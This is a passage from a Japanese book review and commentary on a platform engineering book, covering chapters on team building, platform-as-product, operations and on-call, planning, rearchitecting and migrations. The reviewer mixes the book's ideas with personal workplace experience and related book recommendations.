ニアリングに与える影響について、MLOpsの進化、ツールチェーンの整備、インフラストラクチャの効率化、データガバナンス、LLMエコシステムの観点から包括的な分析を提供しています。これには、モデル開発ライフサイクル管理とデプロイメント自動化、研究者向けインターフェースと非技術者向け操作性、コンピュートリソースとストレージの最適化、プライバシー保護とコンプライアンス対応、そしてモデル選択と統合が含まれます。基盤としての運用プラットフォームが組織の基盤として機能するためには、プラットフォームへの責任、プラットフォームのサポート、運用規律という3つの要素が不可欠です。これらは、エンドツーエンドの管理と問題解決の主導、ユーザーサポート体制とドキュメンテーションの充実、そして標準化されたプロセスと品質管理を通じて実現されます。章全体からの学び第2章は、プラットフォームエンジニアリングの4つの柱を通じて、成功するプラットフォームの要件を明確に示しています。技術的な卓越性、組織的な変革、イノベーション、継続的な進化が、プラットフォームエンジニアリングの成功には不可欠です。これらは最新技術の適用とパフォーマンスの最適化、チーム構造の最適化とスキル開発、新技術の評価と導入、そしてフィードバックの収集と反映を通じて実現されます。これらの要素は相互に関連し、バランスの取れた実装が必要となります。プラットフォームエンジニアリングは継続的な取り組みであり、技術的な側面だけでなく、組織的な支援と文化の醸成を通じて常に進化し続ける必要があります。Part II. Platform Engineering Practices第2部は、C.S.Lewisの「卵が鳥になるのは難しいかもしれないが、卵のままで飛ぶ方がよほど難しい」という言葉から始まり、プラットフォームエンジニアリングの実践的な側面に焦点を当てています。著者は8つの主要な失敗パターンを特定し、それぞれに対する具体的な解決策を提示しています。特に重要なのは、プラットフォームエンジニアリングが単なるインフラストラクチャエンジニアリングやDevOpsの再ブランディングではないという指摘です。私のチームでも、適切なタイミングでの開始、適切な人材ミックス、製品思考の導入、効果的な運用という要素が、成功への重要な要因となっています。Chapter 3. How and When to Get Started第3章「How and When to Get Started」は、プラットフォームエンジニアリングの導入時期と方法について、組織の成熟度や規模に応じた具体的なアプローチを提供しています。著者は、三つの主要な状況に焦点を当て、各シナリオにおける成功への道筋を示しています。小規模組織でのプラットフォーム協力の育成著者は小規模スタートアップにおけるプラットフォームエンジニアリングのアプローチを、成熟度モデルを用いて説明しています。特に注目すべきは、アドホック段階とやや管理された段階という2つのフェーズの定義です。この文脈で参考になるのが、CNCF Platform Engineering Maturity Modelです。このフレームワークは、組織の成熟度を評価し、次のステップを計画する際の指針となります。tag-app-delivery.cncf.ioアドホック段階では、シンプルな自動化と基本的なプロセスの確立に焦点を当てることが推奨されています。著者は、この段階で重要なのはソースコントロール、自動化された継続的デプロイメント、そして軽量なプロセスの3つの要素だと強調しています。これは私の経験とも一致しており、特に小規模チームにおいては、過度に複雑なプロセスや高度な技術スタックを避け、シンプルさを保つことが重要です。やや管理された段階では、チームの成長に伴い、より構造化されたアプローチが必要となります。著者はローカル開発環境の自動化、ステージング環境の整備、観測可能性の向上などの要素を重視しています。この段階での重要な洞察は、技術選択の社会化と意思決定プロセスの確立の必要性です。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon協力を代替するプラットフォームチームの創設組織の成長に伴い、アドホックな協力体制から正式なプラットフォームチームへの移行が必要となります。著者は、この移行のタイミングとしてダンバー数(50-250人)を参考指標として挙げています。これは、組織内の協力関係が自然に維持できる限界を示す重要な指標です。この移行のプロセスについては、DevOps Topologiesが有用な参考資料となります。web.devopstopologies.com著者は、プラットフォームチームの設立において、所有権の中央集権化がもたらす利点とコストのバランスを慎重に検討する必要性を強調しています。特に注目すべきは、新しい技術やアーキテクチャではなく、問題解決に焦点を当てるという原則です。これは、プラットフォームチームが陥りがちな、技術的な理想主義による過度な複雑化を避けるための重要な指針となります。internaldeveloperplatform.org伝統的なインフラストラクチャ組織の変革既存のインフラストラクチャ組織をプラットフォームエンジニアリング組織へと変革する過程について、著者は包括的なガイダンスを提供しています。特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。この変革プロセスを支援するフレームワークとして、Thoughtworks Technology Radarが有用です。www.thoughtworks.com特に重要なのは、エンジニアリング文化全体の変革の必要性です。従来のコスト管理やベンダー交渉中心の文化から、ユーザー中心の製品開発文化への転換が求められます。 本を紹介します。伝統的な組織からプロダクト中心の組織への移行について詳しく解説しています。PROJECT TO PRODUCT フローフレームワークでデジタルディスラプション時代に成功する方法作者:MIK KERSTENパレードAmazon変革のプロセスにおいて、著者は段階的なアプローチの重要性を強調しています。最も有望な領域から始め、成功事例を積み重ねていくことで、組織全体の変革を推進することが推奨されています。また、プロダクトマネージャーの役割についても現実的な視点が示されており、単にプロダクトマネージャーを採用するだけでは不十分で、エンジニアリングチームの協力が不可欠であることが指摘されています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazon章全体からの学び第3章は、プラットフォームエンジニアリングの導入と発展に関する実践的なガイドを提供しています。とりわけ重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択する必要性です。私自身も組織のプラットフォームエンジニアリングを主導している立場から、小規模スタートアップでは軽量なプロセスと基本的な自動化から始め、成長に伴って段階的に発展させていく著者の提案に強く共感します。特に印象的なのは、著者がプラットフォームエンジニアリングを単なる技術的な取り組みではなく、組織文化の変革として捉えている点です。これは私の実務経験とも一致しており、多くの組織が陥りがちな技術偏重のアプローチを避けるための重要な示唆となっています。例えば、私のチームでは新しい技術の導入よりも、まず既存の問題解決と開発者体験の向上に焦点を当てることで、より持続可能な変革を実現できています。また、チーム編成に関する著者の洞察も非常に実践的です。特に、大企業出身のエンジニアの採用に関する警告は、私自身の経験からも非常に的確だと感じています。優れた技術力を持っていても、規模の異なる組織での経験をそのまま適用しようとする傾向は、しばしば新たな問題を引き起こす原因となりうるからです。この章の知見は、今後のプラットフォームエンジニアリングの実践において重要な指針となるでしょう。組織の成熟度に応じた段階的なアプローチ、ユーザー中心の文化醸成、そして適切なチーム構築は、成功への鍵となる要素です。私たちプラットフォームエンジニアリングリーダーは、これらの知見を活かしながら、各組織の状況に適した変革を推進していく必要があります。Chapter 4. Building Great Platform Teams第4章「Building Great Platform Teams」は、プラットフォームエンジニアリングチームの構築と育成に焦点を当てています。この章では、効果的なプラットフォームチームの構築に必要な多様な役割と、それらの役割間のバランスの取り方について、実践的な知見が提供されています。特に、ソフトウェアエンジニアとシステムエンジニアの異なる視点をどのように融合させ、顧客中心のプラットフォームを構築するかという課題に深く切り込んでいます。シングルフォーカスチームの課題単一の視点に偏ったチーム構成は、長期的に見て大きな課題を生み出します。システムエンジニアに偏重したチームは運用面では優れているものの、プラットフォームの抽象化や設計面で課題を抱えがちです。一方、ソフトウェアエンジニアに偏重したチームは新機能の開発には長けていますが、運用安定性や既存システムの改善に対する意識が低くなりがちです。私の経験からも、この両極端な状況を目にすることが多々あります。過去のプロジェクトでは、システムエンジニアの視点が強すぎるあまり、新機能開発に対して過度に慎重になり、結果として顧客ニーズへの対応が遅れるという課題がありました。一方で、開発速度を重視するあまり、運用の視点が欠如し、本番環境での深刻な問題を引き起こすケースも見てきました。Figure 4-1. Breaking down the major engineering roles in a platform engineering team より引用[Figure 4-1]で示されているように、プラットフォームエンジニアリングチームにおける主要なエンジニアリング役割の分類は、このバランスの重要性を明確に表しています。プラットフォームエンジニアの多様な役割プラットフォームエンジニアリングチームにおける主要な役割について、著者は4つの異なる専門性を持つエンジニアの重要性を強調しています。Software Engineerはソフトウェア開発に特化しながらもシステムへの深い理解と運用への関心を持ち、ビジネスクリティカルなシステムのオンコール対応ができ、慎重なペースでの開発に納得できる人材です。Systems EngineerはDevOpsエンジニアやSREに近い立場ながら、より広範な視点を持ち、インフラストラクチャの統合からプラットフォームのコードベースに関わる深いシステムの問題解決まで、幅広い業務を担当します。Reliability Engineerは信頼性に特化し、インシデント管理、SLOのコンサルティング、カオスエンジニアリング、ゲームデイの実施など、システム全体の信頼性向上に注力します。そしてSystems Specialistは、ネットワーキング、カーネル、パフォーマンス、ストレージなど、特定の技術領域に深い専門性を持つエンジニアですが、著者はこの役割については組織の規模と必要性が明確になってから採用することを推奨しています。特に印象的なのは、各役割の採用と評価についての具体的なアドバイスです。例えば、システムエンジニアの採用において、コーディング面接の柔軟な運用を提案しています。私のチームでもこのアプローチを採用し、結果として運用経験が豊富で、かつ適度なコーディングスキルを持つエンジニアの採用に成功しています。また、クラウドネイティブプラットフォームの構築において、これら4つの役割が相互に補完し合い、それぞれの専門性を活かしながら協働することで、より堅牢なプラットフォームの実現が可能になることを日々の実務で実感しています。プラットフォームエンジニアリングマネージャーの重要性プラットフォームエンジニアリングマネージャーには、プラットフォームの運用経験、長期プロジェクトの経験、そして細部への注意力が不可欠です。私の経験上、特に運用経験の重要性は強調してもしすぎることはありません。複雑なシステムの運用経験がないマネージャーが、技術的な課題の深刻さを過小評価し、結果として重大なサービス障害を引き起こすケースを何度も目にしてきました。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazonチーム文化の構築と維持チーム文化の構築は、技術的な課題と同じくらい重要です。著者が示す開発チームとSREチームの統合事例は、私自身のチーム統合経験とも共鳴する部分が多くあります。特に、異なる文化を持つチームを統合する際の段階的なアプローチは、非常に実践的です。私のチームでは、定期的な技術共有セッションとクロスファンクショナルなプロジェクト編成を通じて、異なる背景を持つエンジニア間の相互理解を促進しています。これにより、「システムチーム」vs「開発チーム」という対立構造を避け、より協調的な文化を醸成することができています。章全体からの学びプラットフォームエンジニアリングチームの成功には、技術的なスキルと組織文化の両面でのバランスが不可欠です。著者の提案する4つの役割分類と、それぞれの役割に対する適切な評価・育成方法は、実践的で価値のある指針となっています。特に重要なのは顧客エンパシーです。これは単なるスキルではなく、チーム全体の文化として根付かせる必要があります。プラットフォームエンジニアリングチームが提供する価値は、単なる技術的な解決策ではなく、顧客の課題を深く理解し、それに対する適切な解決策を提供することにあるからです。今後のプラットフォームエンジニアリングには、技術の進化に加えて、組織のデジタルトランスフォーメーションへの対応も求められます。この章で学んだチーム構築の原則は、そうした変化に対応する上で重要な指針となるでしょう。個人的な経験からも、技術と人、そして文化のバランスを取ることが、持続可能なプラットフォーム組織の構築には不可欠だと確信しています。Chapter 5. Platform as a Product第5章「Platform as a Product」は、プラットフォームエンジニアリングにおいて、プラットフォームを製品として捉えるアプローチの重要性と実践方法について深く掘り下げています。著者は、組織内プラットフォームの構築において、プロダクト思考を採用することの意義と、その実現に向けた具体的な戦略を提示しています。顧客中心のプロダクトカルチャーの確立著者は、内部顧客の特性として、小規模な顧客基盤、囚われの観客、利害の対立、顧客満足度の変動、そして時として競合者となり得る顧客の存在を挙げています。私の経験でも、特に囚われの観客という特性は重要で、単にプラットフォームの使用を強制するのではなく、真に価値のある製品として受け入れられる必要があります。著者が提唱する「顧客エンパシー」の文化は、面接プロセスからの組み込み、顧客中心の目標設定、ユーザーフィードバックの定期的な収集など、具体的な施策を通じて醸成されます。私のチームでも、エンジニアのサポート輪番制を導入し、顧客の課題を直接理解する機会を設けることで、より顧客志向の製品開発が実現できています。プロダクトディスカバリーとマーケット分析新しいプラットフォーム製品の発見と検証について、著者は他チームが構築した成功事例を基に広範な用途に適用可能な製品として発展させること、特定のチームと協力して具体的な課題解決から始めて一般化可能な製品を作り出すこと、そして導入障壁が低く明確な価値提案を持つ製品から着手することという三つのアプローチを提示しています。プロダクトロードマップの重要性著者は、プロダクトロードマップの構築において、プラットフォームが目指す理想的な状態を示す長期的なビジョン、ビジョン実現のための具体的なアプローチを示す中期的な戦略、定量的な成功指標となる年間目標とメトリクス、そして具体的な実装計画となる四半期ごとのマイルストーンという段階的なアプローチを提案しています。この考え方は、「プロダクトマネージャーのしごと 第2版」でも強調されており、同書ではプロダクトマネージャーの重要な役割として、ビジョンとロードマップの策定、顧客ニーズの深い理解、データ駆動の意思決定、そしてステークホルダーとの効果的なコミュニケーションを挙げています。特に、プロダクトロードマップは単なる実装計画ではなく、製品の戦略的な方向性を示す重要なツールとして位置づけられています。プロダクトマネージャーのしごと 第2版 ―1日目から使える実践ガイド作者:Matt LeMayオーム社Amazon失敗のパターンと対策著者は主要な失敗パターンとして、移行コストの過小評価、ユーザーの変更予算の過大評価、安定性が低い状況での新機能価値の過大評価、そしてエンジニアリングチームの規模に対する製品マネージャーの過剰な配置を指摘しています。私の経験からも、特に移行コストの過小評価は深刻な問題となりがちで、新機能の魅力に目を奪われ、既存システムからの移行に伴う実務的な課題を軽視してしまうケースを何度も目にしてきました。章全体からの学びプラットフォームを製品として扱うアプローチの成功には、文化、製品市場適合性、実行の3つの要素が不可欠です。著者が強調するように、単なる技術的な優位性ではなく、顧客価値の創出と組織全体への影響を考慮した包括的なアプローチが求められます。プラットフォームエンジニアリングリーダーとして、この章から学んだ最も重要な教訓は、技術的な卓越性と顧客価値のバランスを取ることの重要性です。プラットフォームは技術的に優れているだけでなく、実際のユーザーにとって価値のある、使いやすい製品でなければなりません。また、私はプロダクトマネジメントについて学んできてなかったので主張としてなんとなくしか理解できない事柄もいくつかあった。Chapter 6. Operating Platforms第6章「Operating Platforms」は、プラットフォームエンジニアリングにおける運用の本質と、その実践的なアプローチについて深く掘り下げています。この章では、プラットフォームの運用が単なる技術的な課題ではなく、組織全体の成功に直結する戦略的な要素であることを強調しています。著者は、「レアなことは規模が大きくなると一般的になる」という Jason Cohen の言葉を引用しながら、プラットフォームの規模拡大に伴う運用上の課題とその対処方法について詳細に論じています。【改訂新版】システム障害対応の教科書作者:木村 誠明技術評論社Amazonオンコール体制の重要性と実践著者は、オンコール体制について非常に現実的な視点を提供しています。特に印象的だったのは、24x7のオンコール体制の必要性についての議論です。私自身、過去に「重要ではない」と思われる開発者ツールのプラットフォームでさえ、予想外のタイミングで重要になる経験をしてきました。例えば、深夜のクリティカルなバグ修正時にデプロイメントプラットフォームが機能しないという状況は、まさに著者が指摘する通りの事例です。著者が提案する「週に5件以下のビジネスインパクトのある問題」という基準は、理想的ではありますが、現実的な目標として受け入れられます。これは私の経験とも一致しており、このレベルを超えると組織の持続可能性が急速に低下することを実感してきました。特に、この数字を超えると、チームのバーンアウトや離職率の上昇といった深刻な問題につながることを、実際のプロジェクトで何度も目の当たりにしてきました。また、マージされたDevOpsアプローチの重要性について、著者は説得力のある議論を展開しています。プラットフォームチームの規模が限られている場合、開発とオペレーションを分離することは現実的ではないという指摘は、多くの組織にとって重要な示唆となります。私の経験では、小規模なプラットフォームチームでDevとOpsを分離しようとした結果、コミュニケーションの断絶や責任の所在の不明確化といった問題が発生したケースを数多く見てきました。サポート実践の段階的アプローチサポート体制については、著者が提案する4段階のアプローチが非常に実践的です。特に、サポートレベルの形式化から始まり、最終的にはエンジニアリングサポート組織(ESO)の確立に至るまでの発展プロセスは、多くの組織が参考にできるモデルとなっています。第1段階のサポートレベルの形式化では、支援要請の分類と対応の優先順位付けが重要です。私のチームでも、この分類作業を通じて、実際には多くの問題が共通のパターンを持っていることが分かり、効率的な対応方法を確立することができました。第2段階のクリティカルでないサポートのオンコールからの分離は、チームの持続可能性を確保する上で重要なステップです。私の経験では、この分離を実施することで、開発者が本来の開発業務に集中できる時間が増え、結果としてプラットフォームの品質向上にもつながりました。第3段階のサポートスペシャリストの採用については、著者が指摘する「ユニコーン」の必要性に強く共感します。T1とT2の両方をこなせる人材を見つけることは確かに難しいですが、非伝統的な背景を持つ人材の育成という提案は、現実的かつ効果的なアプローチだと考えています。最後の第4段階である大規模なエンジニアリングサポート組織の確立については、著者が提供するFAANG企業での実例が非常に参考になります。特に、アプリケーションの階層化とそれに応じたSLAの設定、顧客のオンコール要件、システムエンジニアの採用といった具体的な施策は、大規模組織での運用の複雑さと、その解決策を理解する上で重要な示唆を提供しています。運用フィードバックの実践運用フィードバックの実践については、著者がSLO、SLA、エラーバジェットについて興味深い見解を示しています。特に、エラーバジェットが必ずしも万能な解決策ではないという指摘は、現実の組織運営において非常に重要な視点です。私の経験では、エラーバジェットの導入が却ってチーム間の対立を生む結果となったケースもありました。著者が提案する合成モニタリングの重要性は、現代のプラットフォーム運用において極めて重要です。開発時間の25%、リソースコストの10%という投資推奨は、一見高額に感じるかもしれませんが、問題の早期発見と対応によって得られる価値を考えると、十分に正当化できる投資だと考えています。私のチームでも、合成モニタリングの導入により、ユーザーからの報告前に問題を検知し、対応できるケースが大幅に増加しました。変更管理の現実的アプローチ変更管理に関する著者の見解は、現代のDevOps実践との関連で特に興味深いものでした。完全な自動化を目指しつつも、その過程での適切な変更管理の重要性を説いている点は、多くのプラットフォームチームにとって重要な示唆となります。著者が指摘する通り、プラットフォームの変更は複雑で状態を持つことが多く、単純なCI/CDの適用が難しい場合が多いです。私の経験でも、キャッシュクリアやデータベースマイグレーションなど、慎重な制御が必要な操作が多く存在し、これらの管理には明確なプロセスと慎重なアプローチが必要でした。運用レビューの実践運用レビューについての議論は、特にリーダーシップの観点から重要です。チームレベルでのシンプルかつ厳格なレビュー、そして組織レベルでの本質的なレビューの必要性は、プラットフォーム運用の成功に不可欠な要素として描かれています。私の経験では、週次の運用レビューを通じて、潜在的な問題を早期に発見し、対応することができました。特に、ページング頻度、サポートチケットの傾向、インシデントの根本原因分析などを定期的にレビューすることで、システムの健全性を維持し、改善の機会を見出すことができました。また、著者が強調するリーダーシップの関与の重要性は、非常に重要な指摘です。運用レビューに経営層が積極的に参加することで、運用上の課題が適切に理解され、必要なリソースの確保や優先順位付けがスムーズに行われるようになった経験があります。章全体からの学びこの章は、プラットフォーム運用の複雑さと、それを成功に導くための実践的なアプローチを包括的に示しています。特に、運用の規律がプラットフォームの成功にとって不可欠であることを強調している点は、現代のソフトウェア開発環境において極めて重要な示唆となっています。読者として強く感じたのは、プラットフォーム運用が単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。この章で提示されている運用プラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。私自身、これらのプラクティスの多くを実践してきましたが、特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。最後に、この章の内容は、プラットフォームエンジニアリングリーダーが直面する現実的な課題と、その解決のための具体的なアプローチを提供しており、現代のソフトウェア開発組織にとって重要な指針となっています。特に、運用の持続可能性とビジネス価値の創出のバランスを取りながら、組織を成長させていくための実践的な知見は、非常に価値のあるものだと言えます。Chapter 7. Planning and Delivery第7章「Planning and Delivery」は、プラットフォームエンジニアリングにおける計画立案と実行の重要性について深く掘り下げています。この章では、長期的なプロジェクトの計画から日々の実行管理、そして成果の可視化に至るまで、プラットフォームチームのリーダーが直面する実践的な課題と、その解決のためのアプローチについて詳細に解説しています。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon長期プロジェクトの計画立案プラットフォームエンジニアリングの特徴的な側面の一つは、長期的なプロジェクトの存在です。私の経験でも、新しいインフラストラクチャの構築や大規模なマイグレーションプロジェクトは、しばしば数ヶ月から数年の期間を要します。著者が提案するプロポーザルドキュメントの作成から実行計画への移行というアプローチは、このような長期プロジェクトを成功に導くための実践的な方法論として非常に重要です。特に印象的だったのは、プロジェクトの目的と要件をプロポーザルドキュメントで明確化する部分です。私自身、過去に大規模なマイグレーションプロジェクトをリードした際、初期段階でのプロポーザルドキュメントの重要性を痛感しました。背景、テネット、ガイドライン、問題の詳細、解決策の概要、実行計画という構造化されたアプローチは、関係者間の合意形成と期待値の調整に非常に効果的でした。ボトムアップなロードマップ計画著者が提案するボトムアップなロードマップ計画は、プラットフォームチームが直面する現実的な課題に対する実践的な解決策を提供しています。特に、KTLO(Keep the Lights On)作業、マンデート、システム改善という3つの主要な作業カテゴリの区分は、リソース配分と優先順位付けの明確な枠組みを提供します。私のチームでも、KTLOワークの見積もりから始めて、段階的にプランニングの精度を上げていく手法を採用しています。特に、全体の40%をKTLOに、残りを70/20/10の比率で新機能開発、アーキテクチャ改善、イノベーションに配分するというガイドラインは、バランスの取れたリソース配分の指針として有用でした。戦略の要諦 (日本経済新聞出版)作者:リチャード・P・ルメルト日経BPAmazon隔週での成果と課題の共有著者が提案する「Wins and Challenges」という取り組みは、プラットフォームチームの成果を可視化し、組織全体との信頼関係を構築するための効果的な方法です。私のチームでも、この手法を導入してから、ステークホルダーとのコミュニケーションが大幅に改善されました。特に重要なのは、チャレンジを適切に共有することの価値です。私の経験では、問題を隠すのではなく、適切に共有し、解決に向けた支援を得られる関係性を構築することが、長期的な信頼関係の構築に不可欠でした。このような定期的な成果共有の重要性は、「SREsのためのSRE定着ガイド」でも定点観測会として紹介されており、インフラストラクチャーの価値を他のチームに継続的に伝えていく機会として非常に有効です。 speakerdeck.comプロジェクト管理の実践的アプローチ著者が警告する「長期的な停滞」に陥るリスクは、多くのプラットフォームチームにとって現実的な課題です。私も過去に、過度に野心的な目標設定や不明確な問題設定により、プロジェクトが停滞する経験をしました。これを避けるために、プロジェクトの範囲を適切に設定し、段階的な価値提供を重視するアプローチを採用しています。章全体からの学びこの章で提示されている計画立案と実行管理のフレームワークは、プラットフォームエンジニアリングの成功に不可欠な要素を網羅しています。特に、長期的なビジョンと短期的な成果のバランス、透明性の高いコミュニケーション、そして継続的な価値提供の重要性は、現代のプラットフォームエンジニアリングにおいて極めて重要です。私の経験からも、これらの実践は組織の規模や成熟度に関わらず、適用可能で効果的なアプローチだと確信しています。ただし、各組織の状況に応じて適切にカスタマイズすることが重要です。特に、チームの規模が小さい段階では、過度に形式的なプロセスを避け、エッセンシャルな実践に焦点を当てることを推奨します。この章の内容は、プラットフォームエンジニアリングチームが直面する計画立案と実行管理の課題に対する実践的なガイドとして、非常に価値のあるものだと評価しています。Chapter 8. Rearchitecting Platforms第8章「Rearchitecting Platforms」は、プラットフォームの再アーキテクチャリングという重要なテーマについて、その必要性、アプローチ、実践方法を包括的に解説しています。著者は、プラットフォームの進化が不可避であるという現実を踏まえ、どのようにして既存のシステムを運用しながら進化させていくかという実践的な知見を提供しています。特に印象的なのは、冒頭のRandy Schoupによる「If you don\'t end up regretting your early technology decisions, you probably overengineered.」(初期の技術選定を後悔しないのであれば、おそらく過剰設計だった)という引用です。この言葉は、プラットフォームエンジニアリングにおける現実的なアプローチの重要性を端的に表現しています。進化的アーキテクチャ ―絶え間ない変化を支える作者:Neal Ford,Rebecca Parsons,Patrick KuaオライリージャパンAmazonまた、日本の伊勢神宮で実践される式年遷宮のように、定期的にシステムを刷新しながら価値を維持・向上させていく「式年遷宮アーキテクチャ」の考え方も、この文脈で参考になる概念といえます。agnozingdays.hatenablog.comv2開発とリアーキテクチャリングの選択Figure 8-1. How a platform is successfully rearchitected over time より引用[Figure 8-1]は、プラットフォームの進化とリアーキテクチャリングの関係を時系列で示した重要な図です。この図は、プラットフォームが「Scrappy Platform」から「Scalable Platform」を経て「Robust Platform」へと進化していく過程を表しています。著者は、新システムを一から作り直すv2アプローチと、既存システムを進化させるリアーキテクチャリングアプローチを比較し、後者を推奨しています。私自身の経験からも、v2アプローチの失敗を何度も目にしてきました。特に印象的だったのは、セカンドシステム効果による過剰な機能の盛り込みと、移行コストの過小評価という2つの典型的な失敗パターンです。たとえば、あるプロジェクトでは、既存システムの問題点を全て解決しようとするあまり、新システムの設計が複雑化し、開発期間が当初の見積もりの3倍以上に膨れ上がってしまいました。結果として、ビジネスニーズの変化に追いつけず、プロジェクトは中止を余儀なくされました。著者が提案する3つの異なるエンジニアリングマインドセット(パイオニア、セトラー、タウンプランナー)の分類は、非常に示唆に富んでいます。私のチームでも、このフレームワークを参考に、フェーズに応じた適切な人材配置を行うことで、より効果的なリアーキテクチャリングを実現できています。パイオニアマインドセットは、新しい可能性を探索し、革新的なソリューションを生み出すのに長けています。一方で、セトラーマインドセットは、実験的なアイデアを実用的なプロダクトへと昇華させる能力に優れています。そして、タウンプランナーマインドセットは、システムの効率化と産業化を得意としています。セキュリティアーキテクチャの重要性特に注目すべきは、セキュリティをアーキテクチャレベルで考える必要性についての指摘です。著者は、プラットフォームのセキュリティは後付けではなく、設計段階から組み込まれるべきだと主張しています。これは、私が過去に経験した大規模なセキュリティインシデントからも、極めて重要な教訓だと感じています。例えば、あるプロジェクトでは、セキュリティを後付けで考えたために、重要なアーキテクチャ上の変更が必要となり、多大なコストと時間を要しました。特に、マルチテナント環境におけるデータの分離や、認証・認可の仕組みは、後からの変更が極めて困難でした。「サイバー犯罪を完全に防ぐことはできないが、システムをよりスマートに設計することで被害を最小限に抑えることは可能」という著者の指摘は、現代のセキュリティアプローチの本質を突いています。特に重要なのは、以下の実践的なアプローチです:標準化された認証・認可の仕組みの提供セキュアなデフォルト設定の重要性アクセス制御の宣言的な定義テナント分離アーキテクチャの採用ガードレールの設計と実装リアーキテクチャリングの実践において、著者はガードレールの重要性を強調しています。これは、変更を安全に実施するための枠組みとして機能します。特に、以下の4つの側面からのアプローチが重要です:後方互換性の維持: APIの互換性を保ち、既存のクライアントへの影響を最小限に抑える包括的なテスト戦略: 単体テストから統合テスト、合成モニタリングまでの総合的なアプローチ環境管理の重要性: 開発、テスト、本番環境の適切な分離と管理段階的なロールアウト: カナリアリリースやトランチ方式による慎重なデプロイメント私の経験では、特に後方互換性の維持が重要です。一度失った顧客の信頼を取り戻すのは極めて困難であり、互換性の破壊は避けるべき最大のリスクの一つです。たとえば、あるプロジェクトでは、APIの下位互換性を破壊する変更を行ったことで、顧客のシステムに深刻な影響を与え、その修復に数ヶ月を要しました。リアーキテクチャリングの計画立案著者が提案する4段階の計画立案プロセスは、実践的で効果的なアプローチです:最終目標の設定: 3-5年の長期的なビジョンを明確にする移行コストの見積もり: 現実的なコストと時間の評価12ヶ月での主要な成果の設定: 短期的な価値提供の確保リーダーシップの支持獲得: 組織的なサポートの確保特に印象的なのは、12ヶ月での具体的な成果達成を重視している点です。私のチームでも、長期的なビジョンと短期的な成果のバランスを取ることで、ステークホルダーの信頼を維持しながら、大規模なリアーキテクチャリングを成功させることができました。具体的には、以下のような3つの目標設定が効果的でした:大きな価値を生む野心的な目標: ビジネスにインパクトのある変革より小規模だが確実な価値提供: 現実的な改善の実現技術的な基盤の確立: 新アーキテクチャの実運用開始章全体からの学びこの章から学んだ最も重要な教訓は、リアーキテクチャリングは技術的な課題である以上に、組織的な取り組みであるという点です。技術的な優位性だけでなく、ビジネス価値の創出と組織の継続的な発展を両立させる必要があります。私の経験からも、リアーキテクチャリングの成功には、技術的な卓越性、組織的な支援、そして段階的な実行アプローチが不可欠です。特に、早期の価値提供と段階的な移行を重視することで、リスクを最小限に抑えながら、必要な変革を実現することができます。また、著者が警告する新入社員主導のリアーキテクチャリングの危険性も重要な指摘です。過去の経験や他社での成功体験に基づく性急な変更は、往々にして組織の文化や既存システムの複雑さを考慮できず、失敗に終わることが多いです。最後に、この章は現代のプラットフォームエンジニアリングが直面する重要な課題に対する実践的なガイドを提供しており、多くのプラットフォームリーダーにとって貴重な参考資料となるでしょう。特に、継続的な進化の必要性と実践的なアプローチの重要性は、今後のプラットフォーム戦略を考える上で極めて重要な示唆を提供しています。Chapter 9. Migrations and Sunsetting of Platforms第9章「Migrations and Sunsetting of Platforms」は、プラットフォームエンジニアリングにおける最も困難な課題の一つである、マイグレーションとプラットフォームのサンセットについて詳細に解説しています。著者は、C. Scott Andreasの「プラットフォームは、土台のように、その上に構築するための安定した表面を提供するべきものである」という言葉を引用しながら、変更を管理しつつ安定性を提供するというプラットフォームエンジニアリングの本質的な課題に切り込んでいます。cloud.google.comこちらも参考になるかと思います。learn.microsoft.comaws.amazon.comマイグレーションのアンチパターン著者が指摘するマイグレーションの主要なアンチパターンは、私の経験とも強く共鳴します。特に、コンテキストのない締め切り、曖昧な要件、不十分なテスト、そしてクリップボード持ちの説教者という4つのパターンは、多くのプラットフォームチームが陥りがちな罠です。私自身、ある大規模なマイグレーションプロジェクトで、経営陣から突然の期限を課された経験があります。その時の教訓は、マイグレーションは技術的な課題である以上に、コミュニケーションと計画の課題であるということでした。具体的には、チームメンバーや関係者との丁寧なコミュニケーション、段階的なマイグレーション計画の策定、そして明確な成功基準の設定が重要でした。また、曖昧な要件の問題は特に深刻です。「Product X version Y以前を使用している場合は...」といった通知を送っても、多くのユーザーはProduct Xが何を指すのかすら理解できていないことがあります。これは単なるコミュニケーションの問題ではなく、プラットフォームの可視性と理解可能性の問題でもあります。learning.oreilly.comより簡単なマイグレーションのためのエンジニアリング著者は、マイグレーションを容易にするための技術的なアプローチとして、製品抽象化、透過的なマイグレーション、メタデータ追跡、自動化の重要性を説いています。これらは、現代のクラウドネイティブ環境において特に重要です。私の経験では、グルーコードの最小化とバリエーションの制限が特に重要でした。あるプロジェクトでは、各チームが独自のグルーコードを持っていたために、システムの更新が極めて困難になっていました。この教訓を活かし、次のプロジェクトでは標準化されたインターフェースと限定的なカスタマイズオプションを提供することで、マイグレーションの複雑さを大幅に削減することができました。また、使用状況メタデータの追跡も極めて重要です。過去のプロジェクトで、依存関係の把握が不十分だったために、マイグレーション中に予期せぬ問題が発生し、スケジュールが大幅に遅延した経験があります。この経験から、プラットフォームの使用状況、依存関係、所有者情報を常に追跡するシステムを構築することが、効果的なマイグレーション管理の基盤となることを学びました。スムーズなマイグレーションの調整マイグレーションの成功には、早期のコミュニケーションと公開性が不可欠です。著者が提案する、12ヶ月以上先の期限に対する慎重なアプローチは、私の経験からも非常に賢明です。特に印象的なのは、最後の20%をプッシュするという考え方です。実際のプロジェクトでは、最初の80%は比較的スムーズに進むことが多いものの、残りの20%で予想外の課題に直面することがよくあります。この段階での成功には、古いシステムの適切な維持管理、予期せぬ技術的課題への柔